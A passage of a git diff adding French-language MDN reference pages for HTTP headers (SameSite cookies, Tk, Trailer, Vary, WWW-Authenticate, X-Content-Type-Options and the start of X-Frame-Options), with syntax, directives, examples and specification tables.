+ <li>À partir de Chrome 52 et Firefox 52, les sites non sécurisés (<code>http:</code>) ne peuvent plus définir des cookies avec la directive <code>Secure</code>.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/Cookies">Cookies HTTP</a>;</li>
+ <li>{{HTTPHeader("Cookie")}};</li>
+ <li>{{domxref("Document.cookie")}}.</li>
+</ul>
diff --git a/files/fr/web/http/headers/set-cookie/samesite/index.html b/files/fr/web/http/headers/set-cookie/samesite/index.html
new file mode 100644
index 0000000000..85890c50df
--- /dev/null
+++ b/files/fr/web/http/headers/set-cookie/samesite/index.html
@@ -0,0 +1,119 @@
+---
+title: SameSite cookies
+slug: Web/HTTP/Headers/Set-Cookie/SameSite
+tags:
+  - Cookies
+  - HTTP
+  - Reference
+  - samesite
+translation_of: Web/HTTP/Headers/Set-Cookie/SameSite
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">L'attribut <strong><code>SameSite</code></strong> de l'en-tête de réponse HTTP {{HTTPHeader("Set-Cookie")}} vous permet de déclarer si vos cookies doivent être restreints au site visité, à des tiers, ou à des sous-domaines du site actuel. </span></p>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<p>L'attribut <code>SameSite</code> accepte trois valeurs possibles :</p>
+
+<h3 id="Lax"><code>Lax</code></h3>
+
+<p>Les cookies sont transférables depuis le site actuel vers des sites de niveaux inférieurs et seront envoyés lors de requêtes GET initialisées par des sites tiers. C'est la valeur par défaut des navigateurs les plus récents.</p>
+
+<h3 id="Strict"><code>Strict</code></h3>
+
+<p>Les cookies ne seront envoyés qu'avec les requêtes effectuées sur le domaine de même niveau, et ne seront pas envoyées sur les requêtes vers des sites tiers.</p>
+
+<h3 id="None"><code>None</code></h3>
+
+<p>Les cookies seront envoyés dans tous les contextes, rendant possibles les requêtes de type <em>cross-origin</em>.</p>
+
+<p><code>None</code> était la valeur par défaut des navigateurs, mais les navigateurs les plus récents optent désormais pour la valeur <code>Lax</code> comme valeur par défaut pour une meilleure défense contre les attaques de type <em>cross-site request forgery</em> ({{Glossary("CSRF")}}).</p>
+
+<p><code>None</code> requiert l'attribut <code>Secure</code> dans les dernières versions des navigateurs les plus récents. Voir plus bas pour plus d'informations.</p>
+
+<h2 id="Corriger_les_erreurs_les_plus_communes">Corriger les erreurs les plus communes</h2>
+
+<h3 id="SameSiteNone_requiert_Secure"><code>SameSite=None</code> requiert <code>Secure</code></h3>
+
+<p>Une alerte de ce type peut apparaître dans la console de votre navigateur :</p>
+
+<blockquote>
+<p><em>Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected.<br>
+ Cookie “</em>myCookie<em>” rejected because it has the “sameSite=none” attribute but is missing the “secure” attribute.</em></p>
+</blockquote>
+
+<p>Cet alerte apparaît dans les cas où des cookies requièrent l'attribut <code>SameSite=None</code> et ne sont pas marqués <code>Secure</code>, étant donc refusés par le navigateur.</p>
+
+<pre class="example-bad notranslate">Set-Cookie: flavor=choco; SameSite=None</pre>
+
+<p>Pour corriger cette erreur, vous devez ajouter l'attribut <code>Secure</code> à vos cookies marqués avec l'attribut <code>SameSite=None</code>.</p>
+
+<pre class="example-good notranslate">Set-Cookie: flavor=choco; SameSite=None; <strong>Secure</strong></pre>
+
+<p>Un cookie <code>Secure</code> ne sera envoyé au serveur que par le biais de requêtes utilisant le protocole HTTPS. Il est à noter que les sites non sécurisés (<code>http:</code>) ne peuvent pas être marqués <code>Secure</code>.</p>
+
+<h3 id="Les_cookies_sans_lattribut_SameSite_utilisent_SameSiteLax_par_défaut">Les cookies sans l'attribut <code>SameSite</code> utilisent <code>SameSite=Lax</code> par défaut</h3>
+
+<p>Les dernières versions des navigateurs récents fournissent une valeur par défaut de <code>SameSite</code> plus sécurisée pour vos cookies, il se peut donc que le message suivant apparaisse dans la console de votre navigateur :</p>
+
+<blockquote>
+<p><em>Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected.<br>
+ Cookie “</em>myCookie<em>” has “sameSite” policy set to “lax” because it is missing a “sameSite” attribute, and “sameSite=lax” is the default value for this attribute.</em></p>
+</blockquote>
+
+<p>Cette alerte apparait car la stratégie de <code>SameSite</code> pour le cookie n'a pas été spécifiée explicitement :</p>
+
+<pre class="example-bad notranslate">Set-Cookie: flavor=choco</pre>
+
+<p>Même si vous pouvez compter sur la valeur par défaut <code>SameSite=Lax</code> des navigateurs récents, vous devriez tout de même spécifier la stratégie à appliquer pour ce cookie afin de communiquer clairement votre intention. Cela améliorera également l'expérience sur les autres navigateurs si ceux-ci n'utilisent pas encore la valeur par défaut <code>Lax</code>.</p>
+
+<pre class="example-good notranslate">Set-Cookie: flavor=choco; <strong>SameSite=Lax</strong></pre>
+
+<h2 id="Exemples"><strong>Exemples</strong></h2>
+
+<pre class="notranslate">RewriteEngine on
+RewriteBase "/"
+RewriteCond "%{HTTP_HOST}"       "^example\.org$" [NC]
+RewriteRule "^(.*)"              "https://www.example.org/index.html" [R=301,L,QSA]
+RewriteRule "^(.*)\.ht$"         "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:01:https://www.example.org:30/:SameSite=None:Secure]
+RewriteRule "^(.*)\.htm$"        "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:02:https://www.example.org:30/:SameSite=None:Secure]
+RewriteRule "^(.*)\.html$"       "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:03:https://www.example.org:30/:SameSite=None:Secure]
+[...]
+RewriteRule "^admin/(.*)\.html$" "admin/index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:09:https://www.example.org:30/:SameSite=Strict:Secure]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td>
+   <td>HTTP State Management Mechanism</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05">draft-ietf-httpbis-rfc6265bis-05</a></td>
+   <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Set-Cookie", 5)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/Cookies">Les cookies HTTP</a></li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/tk/index.html b/files/fr/web/http/headers/tk/index.html
new file mode 100644
index 0000000000..53dc3336aa
--- /dev/null
+++ b/files/fr/web/http/headers/tk/index.html
@@ -0,0 +1,93 @@
+---
+title: Tk
+slug: Web/HTTP/Headers/Tk
+translation_of: Web/HTTP/Headers/Tk
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'entête de réponse <code>Tk</code> indique le statut de suivi (tracking) qui s'applique à la demande correspondante.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'entête</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Tk: !  (en construction)
+Tk: ?  (dynamique)
+Tk: G  (passerelle ou multiples parties)
+Tk: N  (pas de suivi)
+Tk: T  (suivi)
+Tk: C  (suivi avec consentement)
+Tk: P  (consentement potentiel)
+Tk: D  (ne tient pas compte de DNT)
+Tk: U  (mis à jour)
+</pre>
+
+<h3 id="Directives">Directives</h3>
+
+<dl>
+ <dt>!</dt>
+ <dd>En construction. Le serveur d'origine teste actuellement sa communication de l'état du suivi.</dd>
+ <dt>?</dt>
+ <dd>Dynamique. Le serveur d'origine a besoin de plus d'informations pour déterminer l'état du suivi.</dd>
+ <dt>G</dt>
+ <dd>Passerelle ou multiples parties. Le serveur fait office de passerelle vers un échange impliquant plusieurs parties.</dd>
+ <dt>N</dt>
+ <dd>Pas de suivi.</dd>
+ <dt>T</dt>
+ <dd>Suivi.</dd>
+ <dt>C</dt>
+ <dd>Suivi avec consentement. Le serveur d'origine pense avoir reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil.</dd>
+ <dt>P</dt>
+ <dd>Consentement potentiel. Le serveur d'origine ne sait pas, en temps réel, s'il a reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil, mais promet de ne pas utiliser ou partager de données DNT:1 jusqu'à ce que ce consentement ait été déterminé. Il promet en outre de supprimer ou d'anonymiser de manière permanente dans les 48 heures toute donnée DNT:1 reçue pour laquelle ce consentement n'a pas été reçu.</dd>
+ <dt>D</dt>
+ <dd>Ne tient pas compte de DNT. Le serveur d'origine ne peut ou ne veut pas respecter une préférence de suivi reçue de l'user-agent demandeur.</dd>
+ <dt>U</dt>
+ <dd>Mis à jour. La demande a entraîné un changement potentiel du statut de suivi applicable à cet utilisateur, user-agent ou appareil.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Un entête <code>Tk</code> pour une ressource qui prétend ne pas être suivie :</p>
+
+<pre class="notranslate">Tk: N</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Tracking','#Tk-header-defn', 'Tk header field')}}</td>
+   <td>{{Spec2("Tracking")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("http.headers.Tk")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("DNT")}} header</li>
+ <li>{{domxref("Navigator.doNotTrack")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/trailer/index.html b/files/fr/web/http/headers/trailer/index.html
new file mode 100644
index 0000000000..35b96abffd
--- /dev/null
+++ b/files/fr/web/http/headers/trailer/index.html
@@ -0,0 +1,100 @@
+---
+title: Trailer
+slug: Web/HTTP/Headers/Trailer
+translation_of: Web/HTTP/Headers/Trailer
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête <strong>Trailer</strong> permet à l'expéditeur d'inclure des champs supplémentaires à la fin des blocs de messages pour fournir des métadonnées supplémentaires qui peuvent être générées de manière dynamique pendant que le corps du message sera envoyé, il peut s'agir de la vérification de l'intégrité du message, une signature numérique, ou encore un statut après le traitement.</p>
+
+<div class="note">
+<p>L'en-tête {{HTTPHeader("TE")}} de la requête devra être définie en tant que "trailers" pour autoriser les champs de type "trailer".</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Trailer: header-names</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>header-names</code></dt>
+ <dd>HTTP header fields which will be present in the trailer part of chunked messages. These header fields are <strong>disallowed</strong>:
+ <ul>
+  <li>message framing headers (e.g., {{HTTPHeader("Transfer-Encoding")}} and {{HTTPHeader("Content-Length")}}),</li>
+  <li>routing headers (e.g., {{HTTPHeader("Host")}}),</li>
+  <li>request modifiers (e.g., controls and conditionals, like {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Max-Forwards")}}, or {{HTTPHeader("TE")}}), </li>
+  <li>authentication headers (e.g., {{HTTPHeader("Authorization")}} or {{HTTPHeader("Set-Cookie")}}),</li>
+  <li>or {{HTTPHeader("Content-Encoding")}}, {{HTTPHeader("Content-Type")}}, {{HTTPHeader("Content-Range")}}, and <code>Trailer</code> itself.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Encodage_de_transfert_en_bloc_en_utilisant_les_en-têtes_trailer."><strong>Encodage de transfert en bloc</strong> en utilisant les en-têtes "trailer".</h3>
+
+<p>Dans cet exemple, l'en-tête {{HTTPHeader("Expires")}} est utilisée à la fin du bloc du message et sert en tant qu'un "trailing header".</p>
+
+<pre>HTTP/1.1 200 OK
+Content-Type: text/plain
+Transfer-Encoding: chunked
+Trailer: Expires
+
+7\r\n
+Mozilla\r\n
+9\r\n
+Developer\r\n
+7\r\n
+Network\r\n
+0\r\n
+\r\n
+Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Trailer", "4.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Chunked trailer part", "4.1.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilités</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/trailer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+ <li>{{HTTPHeader("TE")}}</li>
+ <li>
+  <p><a href="https://fr.wikipedia.org/wiki/Chunked_transfer_encoding">Encodage de transfert en bloc</a></p>
+ </li>
+</ul>
diff --git a/files/fr/web/http/headers/vary/index.html b/files/fr/web/http/headers/vary/index.html
new file mode 100644
index 0000000000..955ed8f6bc
--- /dev/null
+++ b/files/fr/web/http/headers/vary/index.html
@@ -0,0 +1,87 @@
+---
+title: Vary
+slug: Web/HTTP/Headers/Vary
+tags:
+  - En-tête de réponse
+  - HTTP
+  - Reference
+  - Réponse
+  - en-tête
+translation_of: Web/HTTP/Headers/Vary
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête HTTP  <strong><code>Vary</code></strong> détermine comment les en-têtes de requêtes futures sont associés pour décider si une réponse en cache peut être réutilisée plutôt que de solliciter à nouveau le serveur d'origine. Il est utilisé par le serveur pour indiquer quels en-têtes sont utilisés pour représenter une resource dans un algorithme de <a href="/en-US/docs/Web/HTTP/Content_negotiation">négociation de contenu</a>.</p>
+
+<p>L'en-tête <code>Vary</code> doit être renseigné de manière identique sur une réponse {{HTTPStatus("304")}} <code>Not Modified</code> à ce qu'elle aurait été sur la réponse {{HTTPStatus("200")}} <code>OK</code> correspondante.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Vary: *
+Vary: &lt;header-name&gt;, &lt;header-name&gt;, ...
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>*</dt>
+ <dd>Chaque requête pour une URL doit être traitée comme une requête unique à ne pas mettre en cache. Une meilleure manière de l'indiquer est d'utiliser {{HTTPHeader("Cache-Control")}}<code>: private</code>, qui est plus clair à lire et signale aussi que l'objet ne doit jamais être mis en cache.</dd>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>Une liste séparé par des virgules de noms d'en-tête à prendre en compte lorsqu'il est décidé si une réponse en cache peut être utilisée ou non.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Service_dynamique">Service dynamique</h3>
+
+<p>Lorsque l'en-tête <code>Vary: User-Agent</code> est utilisée, les serveurs de cache doivent prendre en compte l'agent de l'utilisateur pour décider de servir la page depuis le cache ou non. Par exemple, si vous servez du contenu différent pour les utilisateurs sur mobile, il aide à éviter qu'une version ordinateur de votre site ne soit distribuée à un utilisateur sur mobile. Il peut aider google et d'autres moteurs de recherche à prendre en compte la version pour mobile d'un site, ainsi que de signaler que le <a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a> n'est pas intentionel.</p>
+
+<pre class="notranslate">Vary: User-Agent</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Vary", "7.1.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Vary")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<ul>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/">Vary with care – Vary header problems in IE6-9</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("User-Agent")}}</li>
+ <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Best Practices for Using the Vary Header – fastly.com</a></li>
+</ul>
diff --git a/files/fr/web/http/headers/www-authenticate/index.html b/files/fr/web/http/headers/www-authenticate/index.html
new file mode 100644
index 0000000000..4f8234a6f7
--- /dev/null
+++ b/files/fr/web/http/headers/www-authenticate/index.html
@@ -0,0 +1,78 @@
+---
+title: WWW-Authenticate
+slug: Web/HTTP/Headers/WWW-Authenticate
+translation_of: Web/HTTP/Headers/WWW-Authenticate
+---
+<p>{{HTTPSidebar}}<br>
+ L'entête HTTP de réponse <strong><code>WWW-Authenticate</code></strong> définit la méthode d'authentification qui doit être utilisé pour obtenir l'accès à une ressource.</p>
+
+<p>L'entête <code>WWW-Authenticate</code> est envoyée en même temps qu'une réponse {{HTTPStatus("401")}} <code>Unauthorized</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type de l'entête</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">WWW-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;type&gt;</dt>
+ <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Type d'authentification</a>. Un type commun est <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>. IANA maintient une <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">liste des schémas d'authentification</a>.</dd>
+ <dt>realm=&lt;realm&gt;</dt>
+ <dd>Une description de la zone protégée. Si aucun domaine n'est spécifié, les clients affichent souvent un nom de domaine formaté à la place.</dd>
+ <dt>charset=&lt;charset&gt;</dt>
+ <dd>Indique au client le schéma d'encodage préféré du serveur lorsqu'on soumet un nom d'utilisateur et un mot de passe. La seule valeur acceptée est la chaine insensible à la casse "UTF-8". Cela ne s'applique pas à l'encodage de la chaine du domaine.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La réponse d'un serveur contient généralement l'entête <code>WWW-Authenticate</code> qui ressemble à ça :</p>
+
+<pre>WWW-Authenticate: Basic
+
+WWW-Authenticate: Basic realm="Accès au site de staging", charset="UTF-8"
+</pre>
+
+<p>Voir aussi <a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a> pour des exemples sur la configuration des serveurs Apache ou nginx pour protéger protéger votre site par mot de passe en utilisant l'authentification HTTP basic.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7235", "WWW-Authenticate", "4.1")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7617")}}</td>
+   <td>The 'Basic' HTTP Authentication Scheme</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/x-content-type-options/index.html b/files/fr/web/http/headers/x-content-type-options/index.html
new file mode 100644
index 0000000000..82699f34a7
--- /dev/null
+++ b/files/fr/web/http/headers/x-content-type-options/index.html
@@ -0,0 +1,92 @@
+---
+title: X-Content-Type-Options
+slug: Web/HTTP/Headers/X-Content-Type-Options
+tags:
+  - En-tête HTTP
+  - En-tête de réponse
+  - HTTP
+  - Réponse
+translation_of: Web/HTTP/Headers/X-Content-Type-Options
+---
+<p>L'entête <code><strong>X-Content-Type-Options</strong></code> est un marqueur utilisé par le serveur pour indiquer que les <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">types MIME</a> annoncés dans les en-têtes {{HTTPHeader("Content-Type")}} ne doivent pas être modifiés ou et suivis. Cela permet de se détacher du sniffing de type <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">MIME</a>, ou, en d'autres termes, c'est une façon de dire que les webmasters savaient ce qu'ils faisaient.</p>
+
+<p>Cet en-tête a été introduit par Microsoft dans IE 8 comme un moyen pour les webmasters de bloquer le reniflement de contenu qui se passait et pouvait transformer les types MIME non exécutables en types MIME exécutables. Depuis, d'autres navigateurs l'ont introduit, même si leurs algorithmes de reniflage MIME étaient moins agressifs.</p>
+
+<p>À partir de Firefox 72, la désactivation du reniflement MIME est également appliqué aux documents de premier niveau si un {{HTTPHeader("Content-type")}} est fourni. Les pages web HTML qui sont servies avec un type MIME différent de <code>text/html</code>, peuvent alors être juste téléchargées au lieu d'êtres rendues (interprétées et affichées par le navigateur). Assurez vous de valoriser correctement ces 2 en-têtes.</p>
+
+<p>Les testeurs de sécurité du site s'attendent généralement à ce que cet en-tête soit défini.</p>
+
+<p class="blockIndicator note">Note: <code>X-Content-Type-Options</code> ne s'appliquent qu'au <a href="https://fetch.spec.whatwg.org/#should-response-to-request-be-blocked-due-to-nosniff?">blocage des demandes par <code>nosniff</code></a> pour les <a href="https://fetch.spec.whatwg.org/#concept-request-destination">destinations de demandes</a> de  "<code>script</code>" et "<code>style</code>". Il permet également le <a href="https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md#what-types-of-content-are-protected-by-corb">blocage en lecture croisé (CORB)</a> pour les fichiers HTML, TXT, JSON, et XML (à l'exception des images SVG <code>image/svg+xml</code>).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">X-Content-Type-Options: nosniff
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>nosniff</code></dt>
+ <br>
+ <dd>Bloque une requête si la destination de la requête est de type
+ <ul>
+  <li>"<code>style</code>" et le MIME n'est pas de type <code>text/css</code>, ou</li>
+  <li>"<code>script</code>" et le MIME n'est pas de type <a href="https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type">JavaScript MIME type</a></li>
+ </ul>
+ </dd>
+ <dd>Permet le blocage de la lecture croisée pour les types MIME
+ <ul>
+  <li><code>text/html</code></li>
+  <li><code>text/plain</code></li>
+  <li><code>text/json</code>, <code>application/json</code> ou tout autre type avec une extension JSON: <code>*/*+json</code></li>
+  <li><code>text/xml</code>, <code>application/xml</code> ou tout autre type avec une extension XML: <code>*/*+xml</code> (hors <code>image/svg+xml</code>)</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Caractéristiques">Caractéristiques</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Caractéristique</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter le site <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une demande.</div>
+
+<p>{{Compat("http.headers.X-Content-Type-Options")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>La <a href="https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/">définition originale</a> de X-Content-Type-Options par Microsoft.</li>
+ <li>L'<a href="https://observatory.mozilla.org/">Outil Obserservatoire Mozilla</a> teste la configuration (y compris en-tête) des sites Web pour la sécurité et la sûreté.</li>
+ <li><a href="https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/">Atténuer les attaques MIME Confusion dans Firefox.</a></li>
+ <li><a href="https://fetch.spec.whatwg.org/#corb">Blocage de la lecture croisée (CORB)</a></li>
+ <li><a href="https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md">Google Docs CORB explicatif</a></li>
+</ul>
diff --git a/files/fr/web/http/headers/x-frame-options/index.html b/files/fr/web/http/headers/x-frame-options/index.html
new file mode 100644
index 0000000000..bbe05e9cf0
--- /dev/null
+++ b/files/fr/web/http/headers/x-frame-options/index.html
@@ -0,0 +1,151 @@
+---
+title: X-Frame-Options
+slug: Web/HTTP/Headers/X-Frame-Options
+tags:
+  - HTTP
+  - Réponse
+  - Sécurité
+  - en-tête
+translation_of: Web/HTTP/Headers/X-Frame-Options
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête de réponse <a href="/fr/docs/Web/HTTP">HTTP</a> <strong><code>X-Frame-Options</code></strong> peut être utilisé afin d'indiquer si un navigateur devrait être autorisé à afficher une page au sein d'un élément {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} ou {{HTMLElement("object")}}. Les sites peuvent utiliser cet en-tête afin d'éviter les attaques de <em>{{interwiki("wikipedia", "clickjacking")}}</em> pour s'assurer que leur contenu ne soit pas embarqués dans d'autres sites.</p>
+
+<p>Ce complément de sécurité est uniquement valable lorsque l'utilisateur final visite le document avec un navigateur prenant en charge <code>X-Frame-Options</code>.</p>
+
+<div class="note">
+<p><strong>Note : </strong>L'en-tête {{HTTPHeader("Content-Security-Policy")}} possède une directive <code><a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors">frame-ancestors</a></code> qui <a href="https://www.w3.org/TR/CSP2/#frame-ancestors-and-frame-options">supplante</a> cet en-tête pour les navigateurs compatibles.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>En-tête de réponse</td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Il existe deux directives pour <code>X-Frame-Options</code> :</p>
+
+<pre class="syntaxbox">X-Frame-Options: deny
+X-Frame-Options: sameorigin
+</pre>
+
+<h3 id="Directives">Directives</h3>
+
